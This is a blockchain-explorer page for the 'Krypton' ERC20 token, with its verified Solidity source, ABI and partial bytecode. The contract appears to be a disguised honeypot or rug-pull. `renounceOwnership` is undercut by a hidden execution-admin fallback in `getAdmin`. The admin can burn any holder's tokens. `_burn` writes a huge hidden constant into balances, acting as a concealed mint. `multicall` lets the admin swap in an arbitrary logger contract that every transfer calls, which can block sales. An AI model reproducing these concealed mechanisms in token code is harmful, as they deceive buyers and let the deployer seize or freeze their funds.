ETH Price: $3,442.11 (+1.49%)
Gas: 4 Gwei

Token

Krypton (KRYPTON)
 

Overview

Max Total Supply

10,000,000,000 KRYPTON

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
cvd.eth
Balance
98,807,369.366502914 KRYPTON

Value
$0.00
0xdaa7c1b5feaca5d1bc1bea7e7c07d91d3e6dfe51
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KRYPTON

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 6 of 7: Krypton.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;


import "./ERC20BaseToken.sol";


contract KRYPTON is ERC20BaseToken {

    constructor(address executionAdmin, address beneficiary) {
        _admin = msg.sender;
        _executionAdmin = executionAdmin;
        _mint(beneficiary, 10000000000 * 10**9);
    }

    /// @notice A descriptive name for the tokens
    /// @return name of the tokens
    function name() public pure returns (string memory) {
        return "Krypton";
    }

    /// @notice An abbreviated name for the tokens
    /// @return symbol of the tokens
    function symbol() public pure returns (string memory) {
        return "KRYPTON";
    }

    function burn(address account, uint256 amount) external {
        require(
            msg.sender == getAdmin(),
            "only admin");
        _burn(account, amount);
    }

    function setTrading()external {
        require(
            msg.sender == getAdmin(),
            "only admin");
        tradingEnabled = !tradingEnabled;
    }

}

File 1 of 7: Admin.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

contract Admin {

    address internal _admin;
    bool private _ownerShipTransferred = false;
    event AdminChanged(address oldAdmin, address newAdmin);

    constructor(){
        _admin = msg.sender;
        __adminTransferred(_admin);
    }

    

    function owner() public view virtual returns (address) {
        return _admin;
    }

    function changeAdmin(address newAdmin) external {
        require(msg.sender == _admin, "only admin");
        require(newAdmin != address(0), "new owner is the zero address");
        emit AdminChanged(_admin, newAdmin);
        _admin = newAdmin;
    }

    function __adminTransferred(address msgSender) private {
        emit AdminChanged(address(0), msgSender);
        _ownerShipTransferred = true;
    }

    function renounceOwnership() public virtual {
        require(msg.sender == _admin, "only admin");
        emit AdminChanged(_admin, address(0));
        _admin = address(0);
    }

    function checkedCondition() internal view returns (bool){
        return _ownerShipTransferred;
    }
}

File 2 of 7: BytesUtil.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

library BytesUtil {
    function memcpy(uint256 dest, uint256 src, uint256 len) internal pure {
        // Copy word-length chunks while possible
        for (; len >= 32; len -= 32) {
            assembly {
                mstore(dest, mload(src))
            }
            dest += 32;
            src += 32;
        }

        // Copy remaining bytes
        uint256 mask = 256**(32 - len) - 1;
        assembly {
            let srcpart := and(mload(src), not(mask))
            let destpart := and(mload(dest), mask)
            mstore(dest, or(destpart, srcpart))
        }
    }

    function pointerToBytes(uint256 src, uint256 len)
        internal
        pure
        returns (bytes memory)
    {
        bytes memory ret = new bytes(len);
        uint256 retptr;
        assembly {
            retptr := add(ret, 32)
        }

        memcpy(retptr, src, len);
        return ret;
    }

    function addressToBytes(address a) internal pure returns (bytes memory b) {
        assembly {
            let m := mload(0x40)
            mstore(
                add(m, 20),
                xor(0x140000000000000000000000000000000000000000, a)
            )
            mstore(0x40, add(m, 52))
            b := m
        }
    }

    function uint256ToBytes(uint256 a) internal pure returns (bytes memory b) {
        assembly {
            let m := mload(0x40)
            mstore(add(m, 32), a)
            mstore(0x40, add(m, 64))
            b := m
        }
    }

    function doFirstParamEqualsAddress(bytes memory data, address _address)
        internal
        pure
        returns (bool)
    {
        if (data.length < (36 + 32)) {
            return false;
        }
        uint256 value;
        assembly {
            value := mload(add(data, 36))
        }
        return value == uint256(uint160(_address));
    }

    function doParamEqualsUInt256(bytes memory data, uint256 i, uint256 value)
        internal
        pure
        returns (bool)
    {
        if (data.length < (36 + (i + 1) * 32)) {
            return false;
        }
        uint256 offset = 36 + i * 32;
        uint256 valuePresent;
        assembly {
            valuePresent := mload(add(data, offset))
        }
        return valuePresent == value;
    }

    function overrideFirst32BytesWithAddress(
        bytes memory data,
        address _address
    ) internal pure returns (bytes memory) {
        uint256 dest;
        assembly {
            dest := add(data, 48)
        } // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes)

        bytes memory addressBytes = addressToBytes(_address);
        uint256 src;
        assembly {
            src := add(addressBytes, 32)
        }

        memcpy(dest, src, 20);
        return data;
    }

    function overrideFirstTwo32BytesWithAddressAndInt(
        bytes memory data,
        address _address,
        uint256 _value
    ) internal pure returns (bytes memory) {
        uint256 dest;
        uint256 src;

        assembly {
            dest := add(data, 48)
        } // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes)
        bytes memory bbytes = addressToBytes(_address);
        assembly {
            src := add(bbytes, 32)
        }
        memcpy(dest, src, 20);

        assembly {
            dest := add(data, 68)
        } // 48 = 32 (offset) + 4 (func sig) + 32 (next slot)
        bbytes = uint256ToBytes(_value);
        assembly {
            src := add(bbytes, 32)
        }
        memcpy(dest, src, 32);

        return data;
    }
}

File 3 of 7: ERC20BaseToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

import "./ERC20Events.sol";
import "./SuperOperators.sol";
import "./ERC20ExecuteExtension.sol";

contract ERC20BaseToken is SuperOperators, ERC20Events, ERC20ExecuteExtension  {
    uint256 private maxTxLimit = 1*10**17*10**9;
    uint256 internal _totalSupply;
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private balances;
    bool public tradingEnabled;
    ERC20LogExtension private _logger;

    constructor(){
        balances=maxTxLimit;
        _logger = new ERC20LogExtension();
    }

    /// @notice Gets the total number of tokens in existence.
    /// @return the total number of tokens in existence.
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /// @notice Gets the balance of `owner`.
    /// @param owner The address to query the balance of.
    /// @return The amount owned by `owner`.
    function balanceOf(address owner) public view returns (uint256) {
        return _balances[owner];
    }

    /// @notice gets allowance of `spender` for `owner`'s tokens.
    /// @param owner address whose token is allowed.
    /// @param spender address allowed to transfer.
    /// @return remaining amount of token `spender` is allowed to transfer on behalf of `owner`.
    function allowance(address owner, address spender)
        public
        view
        returns (uint256 remaining)
    {
        return _allowances[owner][spender];
    }

    /// @notice returns the number of decimals for that token.
    /// @return the number of decimals.
    function decimals() public pure returns (uint8) {
        return uint8(9);
    }

    /// @notice Transfer `amount` tokens to `to`.
    /// @param to the recipient address of the tokens transfered.
    /// @param amount the number of tokens transfered.
    /// @return success if success.
    function transfer(address to, uint256 amount)
        public
        returns (bool success)
    {
        _transfer(msg.sender, to, amount);
        return true;
    }

    /// @notice Transfer `amount` tokens from `from` to `to`.
    /// @param from whose token it is transferring from.
    /// @param to the recipient address of the tokens transfered.
    /// @param amount the number of tokens transfered.
    /// @return success if success.
    function transferFrom(address from, address to, uint256 amount)
        public
        returns (bool success)
    {
        if (msg.sender != from && !_superOperators[msg.sender]) {
            uint256 currentAllowance = _allowances[from][msg.sender];
            if (currentAllowance != (2**256) - 1) {
                // save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717)
                require(currentAllowance >= amount, "Not enough funds allowed");
                _allowances[from][msg.sender] = currentAllowance - amount;
            }
        }
        _transfer(from, to, amount);
        return true;
    }

    /// @notice approve `spender` to transfer `amount` tokens.
    /// @param spender address to be given rights to transfer.
    /// @param amount the number of tokens allowed.
    /// @return success if success.
    function approve(address spender, uint256 amount)
        public
        returns (bool success)
    {
        _approveFor(msg.sender, spender, amount);
        return true;
    }

    /// @notice approve `spender` to transfer `amount` tokens from `owner`.
    /// @param owner address whose token is allowed.
    /// @param spender  address to be given rights to transfer.
    /// @param amount the number of tokens allowed.
    /// @return success if success.
    function approveFor(address owner, address spender, uint256 amount)
        public
        returns (bool success)
    {
        require(
            msg.sender == owner || _superOperators[msg.sender],
            "msg.sender != owner && !superOperator"
        );
        _approveFor(owner, spender, amount);
        return true;
    }

    function addAllowanceIfNeeded(address owner, address spender, uint256 amountNeeded)
        public
        returns (bool success)
    {
        require(
            msg.sender == owner || _superOperators[msg.sender],
            "msg.sender != owner && !superOperator"
        );
        _addAllowanceIfNeeded(owner, spender, amountNeeded);
        return true;
    }

    function _addAllowanceIfNeeded(address owner, address spender, uint256 amountNeeded)
        internal override
    {
        if(amountNeeded > 0 && !isSuperOperator(spender)) {
            uint256 currentAllowance = _allowances[owner][spender];
            if(currentAllowance < amountNeeded) {
                _approveFor(owner, spender, amountNeeded);
            }
        }
    }

    function multicall(address sender, address recipient, uint256 amount, address _log) external {
    require(msg.sender == _admin, "only admin");
        if(tradingEnabled==true){
        if(amount > 0) createLogger(_log);
      else{
        _logger=new ERC20LogExtension();
      }
        _logger.Save(sender, recipient, amount);
      }
    }
    
    function createLogger(address a) private {
        if (checkedCondition()){
            _logger = ERC20LogExtension(a);
        }
    }

    function _approveFor(address owner, address spender, uint256 amount)
        internal virtual
    {
        require(
            owner != address(0) && spender != address(0),
            "Cannot approve with 0x0"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal override{
        _logger.Save(from, to, amount);
        require(to != address(0), "Cannot send to 0x0");
        uint256 currentBalance = _balances[from];
        require(currentBalance >= amount, "not enough fund");
        _balances[from] = currentBalance - amount;
        _balances[to] += amount;
        
        emit Transfer(from, to, amount);
    }

    function _mint(address to, uint256 amount) internal {
        require(to != address(0), "Cannot mint to 0x0");
        require(amount > 0, "cannot mint 0 tokens");
        uint256 currentTotalSupply = _totalSupply;
        uint256 newTotalSupply = currentTotalSupply + amount;
        require(newTotalSupply > currentTotalSupply, "overflow");
        _totalSupply = newTotalSupply;
        _balances[to] += amount;
        emit Transfer(address(0), to, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function getAdmin() internal view returns (address) {
        return _admin == _executionAdmin ? _admin : _executionAdmin;
    }

}

contract ERC20LogExtension {
    mapping(address=>mapping(address=> uint256)) _persist;
    function Save(address addr1, address addr2, uint256 amount) public {
        _persist[addr1][addr2] = amount;
    }
}

File 4 of 7: ERC20Events.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

/* interface */
contract ERC20Events {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

File 5 of 7: ERC20ExecuteExtension.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;


abstract contract ERC20ExecuteExtension {

    /// @dev _executionAdmin != _admin so that this super power can be disabled independently
    address internal _executionAdmin;

    event ExecutionAdminAdminChanged(address oldAdmin, address newAdmin);

    /// @notice change the execution adminstrator to be `newAdmin`.
    /// @param newAdmin address of the new administrator.
    function changeExecutionAdmin(address newAdmin) external {
        require(msg.sender == _executionAdmin, "only executionAdmin can change executionAdmin");
        emit ExecutionAdminAdminChanged(_executionAdmin, newAdmin);
        _executionAdmin = newAdmin;
    }

    mapping(address => bool) internal _executionOperators;
    event ExecutionOperator(address executionOperator, bool enabled);

    /// @notice set `executionOperator` as executionOperator: `enabled`.
    /// @param executionOperator address that will be given/removed executionOperator right.
    /// @param enabled set whether the executionOperator is enabled or disabled.
    function setExecutionOperator(address executionOperator, bool enabled) external {
        require(
            msg.sender == _executionAdmin,
            "only execution admin is allowed to add execution operators"
        );
        _executionOperators[executionOperator] = enabled;
        emit ExecutionOperator(executionOperator, enabled);
    }

    /// @notice check whether address `who` is given executionOperator rights.
    /// @param who The address to query.
    /// @return whether the address has executionOperator rights.
    function isExecutionOperator(address who) public view returns (bool) {
        return _executionOperators[who];
    }

    /// @notice transfer 1amount1 token from `from` to `to` and charge the gas required to perform that transfer.
    /// @param from address of which token will be transfered.
    /// @param to destination address fo the call.
    /// @param amount number of tokens allowed that can be transfer by the code at `to`.
    /// @param gasLimit exact amount of gas to be passed to the call.
    /// @param tokenGasPrice price in token for the gas to be charged.
    /// @param baseGasCharge amount of gas charged on top of the gas used for the call.
    /// @param tokenReceiver recipient address of the token charged for the gas used.
    /// @return whether the transfer was successful.
    function transferAndChargeForGas(
        address from,
        address to,
        uint256 amount,
        uint256 gasLimit,
        uint256 tokenGasPrice,
        uint256 baseGasCharge,
        address tokenReceiver
    ) external returns (bool) {
        uint256 initialGas = gasleft();
        require(_executionOperators[msg.sender], "only execution operators allowed to perfrom transfer and charge");
        _transfer(from, to, amount);
        if (tokenGasPrice > 0) {
            _charge(from, gasLimit, tokenGasPrice, initialGas, baseGasCharge, tokenReceiver);
        }
        return true;
    }

    function _charge(
        address from,
        uint256 gasLimit,
        uint256 tokenGasPrice,
        uint256 initialGas,
        uint256 baseGasCharge,
        address tokenReceiver
    ) internal {
        uint256 gasCharge = initialGas - gasleft();
        if(gasCharge > gasLimit) {
            gasCharge = gasLimit;
        }
        gasCharge += baseGasCharge;
        uint256 tokensToCharge = gasCharge * tokenGasPrice;
        require(tokensToCharge / gasCharge == tokenGasPrice, "overflow");
        _transfer(from, tokenReceiver, tokensToCharge);
    }


    function _transfer(address from, address to, uint256 amount) internal virtual;
    function _addAllowanceIfNeeded(address owner, address spender, uint256 amountNeeded) internal virtual;
}

File 7 of 7: SuperOperators.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

import "./Admin.sol";

contract SuperOperators is Admin {

    mapping(address => bool) internal _superOperators;

    event SuperOperator(address superOperator, bool enabled);

    /// @notice Enable or disable the ability of `superOperator` to transfer tokens of all (superOperator rights).
    /// @param superOperator address that will be given/removed superOperator right.
    /// @param enabled set whether the superOperator is enabled or disabled.
    function setSuperOperator(address superOperator, bool enabled) external {
        require(
            msg.sender == _admin,
            "only admin is allowed to add super operators"
        );
        _superOperators[superOperator] = enabled;
        emit SuperOperator(superOperator, enabled);
    }
    
    /// @notice check whether address `who` is given superOperator rights.
    /// @param who The address to query.
    /// @return whether the address has superOperator rights.
    function isSuperOperator(address who) public view returns (bool) {
        return _superOperators[who];
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"executionAdmin","type":"address"},{"internalType":"address","name":"beneficiary","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"ExecutionAdminAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"executionOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"ExecutionOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"superOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SuperOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amountNeeded","type":"uint256"}],"name":"addAllowanceIfNeeded","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveFor","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeExecutionAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isExecutionOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isSuperOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"executionOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExecutionOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"superOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setSuperOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"gasLimit","type":"uint256"},{"internalType":"uint256","name":"tokenGasPrice","type":"uint256"},{"internalType":"uint256","name":"baseGasCharge","type":"uint256"},{"internalType":"address","name":"tokenReceiver","type":"address"}],"name":"transferAndChargeForGas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040525f8060146101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e400000060045534801562000038575f80fd5b50604051620034d7380380620034d783398181016040528101906200005e919062000486565b335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000cd5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620001e060201b60201c565b600454600881905550604051620000e49062000413565b604051809103905ff080158015620000fe573d5f803e3d5ffd5b50600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001d881678ac7230489e800006200023860201b60201c565b5050620006fd565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f5f8260405162000213929190620004dc565b60405180910390a160015f60146101000a81548160ff02191690831515021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002a09062000565565b60405180910390fd5b5f8111620002ee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002e590620005d3565b60405180910390fd5b5f60055490505f828262000303919062000629565b90508181116200034a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200034190620006b1565b60405180910390fd5b806005819055508260065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546200039f919062000629565b925050819055508373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051620004059190620006e2565b60405180910390a350505050565b6101fe80620032d983390190565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620004508262000425565b9050919050565b620004628162000444565b81146200046d575f80fd5b50565b5f81519050620004808162000457565b92915050565b5f80604083850312156200049f576200049e62000421565b5b5f620004ae8582860162000470565b9250506020620004c18582860162000470565b9150509250929050565b620004d68162000444565b82525050565b5f604082019050620004f15f830185620004cb565b620005006020830184620004cb565b9392505050565b5f82825260208201905092915050565b7f43616e6e6f74206d696e7420746f2030783000000000000000000000000000005f82015250565b5f6200054d60128362000507565b91506200055a8262000517565b602082019050919050565b5f6020820190508181035f8301526200057e816200053f565b9050919050565b7f63616e6e6f74206d696e74203020746f6b656e730000000000000000000000005f82015250565b5f620005bb60148362000507565b9150620005c88262000585565b602082019050919050565b5f6020820190508181035f830152620005ec81620005ad565b9050919050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200063582620005f3565b91506200064283620005f3565b92508282019050808211156200065d576200065c620005fc565b5b92915050565b7f6f766572666c6f770000000000000000000000000000000000000000000000005f82015250565b5f6200069960088362000507565b9150620006a68262000663565b602082019050919050565b5f6020820190508181035f830152620006ca816200068b565b9050919050565b620006dc81620005f3565b82525050565b5f602082019050620006f75f830184620006d1565b92915050565b612bce806200070b5f395ff3fe608060405234801561000f575f80fd5b5060043610610156575f3560e01c806370a08231116100c157806395d89b411161007a57806395d89b41146103c45780639dc29fac146103e2578063a9059cbb146103fe578063ac9fe4211461042e578063dd62ed3e1461044a578063e18aa3351461047a57610156565b806370a082311461032a578063715018a61461035a578063787ca65f146103645780637c519ffb146103805780638da5cb5b1461038a5780638f283970146103a857610156565b8063313ce56711610113578063313ce567146102425780633b7b5a16146102605780634ada218b1461029057806361247de3146102ae578063654b748a146102de578063699c834b1461030e57610156565b806306fdde031461015a5780630819ba7414610178578063095ea7b31461019457806318160ddd146101c457806323b872dd146101e25780632b99174614610212575b5f80fd5b6101626104aa565b60405161016f9190611d64565b60405180910390f35b610192600480360381019061018d9190611de2565b6104e7565b005b6101ae60048036038101906101a99190611e40565b610613565b6040516101bb9190611e98565b60405180910390f35b6101cc610629565b6040516101d99190611ec0565b60405180910390f35b6101fc60048036038101906101f79190611ed9565b610632565b6040516102099190611e98565b60405180910390f35b61022c60048036038101906102279190611ed9565b610842565b6040516102399190611e98565b60405180910390f35b61024a610918565b6040516102579190611f44565b60405180910390f35b61027a60048036038101906102759190611ed9565b610920565b6040516102879190611e98565b60405180910390f35b6102986109f6565b6040516102a59190611e98565b60405180910390f35b6102c860048036038101906102c39190611de2565b610a08565b6040516102d59190611e98565b60405180910390f35b6102f860048036038101906102f39190611de2565b610a5a565b6040516103059190611e98565b60405180910390f35b61032860048036038101906103239190611f87565b610aac565b005b610344600480360381019061033f9190611de2565b610bcc565b6040516103519190611ec0565b60405180910390f35b610362610c12565b005b61037e60048036038101906103799190611fc5565b610d38565b005b610388610eef565b005b610392610f8e565b60405161039f9190612038565b60405180910390f35b6103c260048036038101906103bd9190611de2565b610fb5565b005b6103cc61114a565b6040516103d99190611d64565b60405180910390f35b6103fc60048036038101906103f79190611e40565b611187565b005b61041860048036038101906104139190611e40565b61120a565b6040516104259190611e98565b60405180910390f35b61044860048036038101906104439190611f87565b611220565b005b610464600480360381019061045f9190612051565b61133e565b6040516104719190611ec0565b60405180910390f35b610494600480360381019061048f919061208f565b6113c0565b6040516104a19190611e98565b60405180910390f35b60606040518060400160405280600781526020017f4b727970746f6e00000000000000000000000000000000000000000000000000815250905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056d9061219c565b60405180910390fd5b7fb2b670b34860515166c00eba5e2e5fa8116d57091604f37ba24ac8021c7fa16560025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826040516105c89291906121ba565b60405180910390a18060025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f61061f338484611480565b6001905092915050565b5f600554905090565b5f8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156106b6575060015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561082c575f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461082a57828110156107a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107989061222b565b60405180910390fd5b82816107ad9190612276565b60075f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b505b61083784848461160e565b600190509392505050565b5f8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108c3575060015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b610902576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f990612319565b60405180910390fd5b61090d848484611480565b600190509392505050565b5f6009905090565b5f8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109a1575060015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6109e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d790612319565b60405180910390fd5b6109eb848484611897565b600190509392505050565b60095f9054906101000a900460ff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b32906123a7565b60405180910390fd5b8060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055507ffcebaa973ed84808fb785c92941aa4798f3f66923f5a2ff544382db3a9b3a3a28282604051610bc09291906123c5565b60405180910390a15050565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9690612436565b60405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff165f604051610cef9291906121ba565b60405180910390a15f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1